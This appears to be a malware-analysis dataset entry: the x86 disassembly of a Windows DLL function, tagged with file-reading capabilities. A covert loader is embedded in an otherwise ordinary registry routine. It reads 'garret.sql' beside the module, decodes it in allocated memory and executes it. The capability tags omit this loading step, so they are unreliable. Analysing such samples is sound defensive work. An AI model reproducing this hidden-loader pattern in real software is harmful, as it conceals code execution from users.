Function at 0x1000396b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100604b2
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x2128
call fcn.1005ffb0
mov eax, dword [0x10083010]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov ebx, ecx
mov dword [ebp - 0x2130], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2128], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2124], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2138], eax
lea eax, [ebp - 0x2014]
push eax
mov dword [ebp - 0x211c], ebx
call fcn.100036ce
test eax, eax
js 0x10003d00
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
lea eax, [ebp - 0x2014]
push str.SMDB
push eax
call esi
test eax, eax
jne 0x100038a7
push 8
jmp 0x100038ee
push 0x10066aa4
lea eax, [ebp - 0x2014]
push eax
call esi
test eax, eax
jne 0x100038c0
mov esi, 0x4008
jmp 0x100038ef
push 0x10066aa8
lea eax, [ebp - 0x2014]
push eax
call esi
test eax, eax
jne 0x100038d6
push 0x13
jmp 0x100038ee
push 0x10066aac
lea eax, [ebp - 0x2014]
push eax
call esi
test eax, eax
jne 0x10003cfb
push 0x11
pop esi
mov ecx, ebx
call fcn.100036ae
lea eax, [ebp - 0x2014]
mov ecx, ebx
push eax
call fcn.100036ce
test eax, eax
js 0x10003d00
push 2
pop edi
sub esi, 8
je 0x10003c8f
sub esi, 9
je 0x10003b12
sub esi, edi
je 0x10003a9e
sub esi, 0x3ff5
jne 0x10003ce3
lea ecx, [ebp - 0x2014]
xor ebx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, edi
cmp ax, bx
jne 0x10003940
sub ecx, edx
mov dword [ebp - 0x2118], ebx
sar ecx, 1
lea eax, [ecx + 2]
mul edi
mov dword [ebp - 4], ebx
mov byte [ebp - 4], 1
cmp edx, ebx
ja 0x10003d1c
jb 0x10003973
adc dword [esi + 0x57], 0x53
push ebp
sub esp, 0x1c
xor eax, eax
push eax
push eax
mov edx, dword [str.KERNEL32.dll]
rcl byte [eax + 0x50], 0x8b
adc eax, 0x1008374a
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
push 4
push 0x1000
mov eax, dword [0x10083722]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov ecx, ebx
mov edx, dword [0x10083722]
call fcn.10003bcb
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
movzx ebp, word [ebx]
xor eax, eax
mov edx, dword [str.garret.sql]
test ebp, ebp
je 0x10003bbd
inc eax
lea ebp, [ebx + eax*2]
movzx esi, word [ebp]
test esi, esi
jne 0x100039ca
movzx ebp, word [ebp - 2]
cmp ebp, 0x5c
je 0x100039f0
xor esi, esi
mov word [ebx + eax*2], si
dec eax
movzx ebp, word [ebx + eax*2 - 2]
cmp ebp, 0x5c
jne 0x100039e1
cmp byte [edx], 0
je 0x10003a09
xor ebp, ebp
movsx esi, byte [ebp + edx]
inc ebp
mov word [ebx + eax*2], si
inc eax
cmp byte [ebp + edx], 0
jne 0x100039f7
xor eax, eax
mov edx, 1
push eax
push 0x80
push 3
push eax
push edx
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10003bab
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x1008370e]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
mov ecx, ebx
mov edx, dword [0x1008370e]
call fcn.10003bcb
xor eax, eax
lea edx, [esp + 0x18]
mov dword [edx], eax
push eax
push edx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10003bab
mov eax, dword [esp + 0x18]
mov edx, dword [0x10083732]
add eax, ebx
add ebx, edx
mov dword [esp + 0x14], eax
mov edx, dword [ebx]
mov eax, dword [ebx + 4]
test edx, edx
jbe 0x10003abc
mov ebp, edx
shr ebp, 1
je 0x10003bb3
xor esi, esi
add dword [ebx + esi*8 + 8], eax
add dword [ebx + esi*8 + 0xc], eax
inc esi
cmp esi, ebp
jb 0x10003aa0
lea esi, [esi + esi + 1]
lea ebp, [esi - 1]
cmp ebp, edx
jae 0x10003abc
add dword [ebx + esi*4 + 4], eax
mov eax, dword [0x10083752]
lea edx, [eax + ebx + 1]
push edx
push edi
lea esi, [ebx + eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x10003bab
movsx eax, byte [esi]
lea edx, [esi + eax + 1]
push edx
push edi
lea ebp, [esi + eax]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10003bab
movsx eax, byte [ebp]
lea edx, [ebp + eax + 1]
push edx
lea esi, [ebp + eax]
call ebx
mov edx, eax
test edx, edx
je 0x10003bab
movsx ebx, byte [esi]
add esi, ebx
mov ebp, dword [0x10083736]
add ebp, esi
mov dword [esp + 0x10], ebp
mov ebx, dword [esi + 4]
mov ebp, dword [esi + 8]
mov esi, dword [edx + 0x3c]
mov eax, dword [0x1008371a]
mov esi, dword [esi + edx + 0x2c]
add esi, edx
lea edx, [esp + 0xc]
mov dword [edx], 0
push edx
push eax
push ebp
push esi
call edi
push ebp
mov ecx, esi
mov edx, dword [esp + 0x14]
call fcn.10003c1b
lea eax, [esp + 0xc]
push eax
push dword [esp + 0x10]
push ebp
push esi
call edi
mov eax, dword [str.toughie.txt]
xor edx, edx
cmp byte [eax], 0
je 0x10003b88
mov eax, dword [esp + 0x14]
mov edi, dword [str.toughie.txt]
movsx edi, byte [edi + edx]
mov word [eax + edx*2], di
inc edx
mov edi, dword [str.toughie.txt]
cmp byte [edi + edx], 0
jne 0x10003b6d
mov edi, dword [esp + 0x14]
lea ecx, [esp]
xor eax, eax
add ebx, esi
mov word [edi + edx*2], ax
mov edx, dword [ecx + 0x10]
add edx, ebp
mov dword [ecx + 4], edi
mov dword [ecx], edx
mov byte [ecx + 8], 1
push ecx
call ebx
add esp, 4
add esp, 0x1c
pop ebp
pop ebx
pop edi
pop esi
ret
mov esi, 1
jmp 0x10003ab1
mov ebp, ebx
jmp 0x100039d6
lea ecx, [ebp - 0x2014]
xor ebx, ebx
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, edi
cmp ax, bx
jne 0x10003c9a
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x2014]
push eax
mov eax, dword [ebp - 0x2128]
push 1
push ebx
push dword [ebp - 0x2124]
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test edi, edi
je 0x10003cdd
mov ecx, edi
call fcn.10002caf
jmp 0x10003d00
mov ebx, dword [ebp - 0x2130]
push dword [ebp - 0x2138]
mov ecx, ebx
call fcn.100036ce
xor ecx, ecx
test eax, eax
cmovs ecx, eax
mov eax, ecx
jmp 0x10003d00
mov eax, 0x80020009
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.1005eacb
leave
ret 0xc
push 0x80070216
call fcn.10002c1a
int3